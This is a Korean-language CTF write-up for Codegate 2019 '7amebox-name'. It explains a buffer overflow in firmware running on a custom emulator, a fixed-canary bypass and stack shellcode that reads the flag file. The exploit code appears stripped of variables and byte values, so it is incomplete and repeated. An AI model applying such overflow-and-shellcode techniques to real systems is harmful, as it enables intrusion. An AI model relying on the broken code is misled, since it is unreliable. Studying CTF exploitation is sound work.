Codegate CTF 2019 Quals - 7amebox-name
0x00. Introduction
run.sh로 vm_name.py를 실행하면 _7amebox_patched.py에 구현된 emulator로 mic_check.firm을 실행하는 구조이다.
...
= 0
|=
|= << 14
|= << 7
...
...
=
= >> 14
= >> 7
...
byte가 7bit, word가 3byte인 emulator에서 firmware의 취약점을 찾고 exploit을 해야한다.
0x01. Vulnerability
main:
0x9: 19 30 push bp
0xb: 11 3c mov bp, sp
0xd: 2f 40 3c 00 00 sub sp, 0x3c
0x12: 10 5b mov r5, bp
0x14: 2e 50 03 00 00 sub r5, 0x3
0x19: 12 60 45 04 46 mov r6, 0x12345
0x1e: 08 65 str r6, [r5] ; [r5] = r6
0x20: 12 00 4d 00 01 mov r0, 0xcd ; "name>"
0x25: 7b 50 66 00 00 call pc + 0x66 ; write
0x2a: 12 10 42 00 00 mov r1, 0x42
0x2f: 10 5b mov r5, bp
0x31: 2e 50 3c 00 00 sub r5, 0x3c
0x36: 10 05 mov r0, r5
0x38: 7b 50 23 00 00 call pc + 0x23 ; read
0x3d: 12 00 53 00 01 mov r0, 0xd3
0x42: 7b 50 49 00 00 call pc + 0x49 ; strlen
0x47: 10 5b mov r5, bp
0x49: 2e 50 03 00 00 sub r5, 0x3
0x4e: 00 65 ldr r6, [r5] ; r6 = [r5]
0x50: 5e 60 45 04 46 cmp r6, 0x12345
0x55: 73 50 2b 7f 7f je pc + 0x1fffab ; jne if A == B ; not FLAG_ZF ; stack_chk_fail
0x5a: 11 4b mov sp, bp
0x5c: 1d 30 pop bp
0x5e: 1d 50 pop pc
firmware 이름이 mic_check인 만큼 취약점은 단순하다. bp-0x3c위치에 0x42만큼 read를 하기 때문에 BOF가 발생한다.
다만 SFP 위에 canary 값인 0x12345를 신경써서 값을 써야한다.
0x02. Exploit
NX가 꺼져있는 환경이므로 stack에 shellcode를 구성해서 payload를 작성했다.
= b # xor r0, r0
+= b # inc r0
+= b # mov r1, sp
+= b # sub r1, 0xe
+= b # syscall ; open("flag") ; r0 = 2
+= b # inc r0
+= b # mov r1, 2
+= b # mov r2, 0xf5f00
+= b # mov r3, 40
+= b # syscall ; read(2, buf, 40)
+= b # mov r0, 2
+= b # xor r1, r1
+= b # inc r1
+= b # mov r3, 40
+= b # syscall ; write(1, buf, 40)
+= b
+= b # "flag"
+= # canary
+= # sfp
+= # ret
buf 사이즈가 생각보다 빡빡해서 최적화를 신경써주어야 했다.
0x03. Payload
= False
=
=
= f
=
=
=
= b # xor r0, r0
+= b # inc r0
+= b # mov r1, sp
+= b # sub r1, 0xe
+= b # syscall ; open("flag") ; r0 = 2
+= b # inc r0
+= b # mov r1, 2
+= b # mov r2, 0xf5f00
+= b # mov r3, 40
+= b # syscall ; read(2, buf, 40)
+= b # mov r0, 2
+= b # xor r1, r1
+= b # inc r1
+= b # mov r3, 40
+= b # syscall ; write(1, buf, 40)
+= b
+= b # "flag"
+= # canary
+= # sfp
+= # ret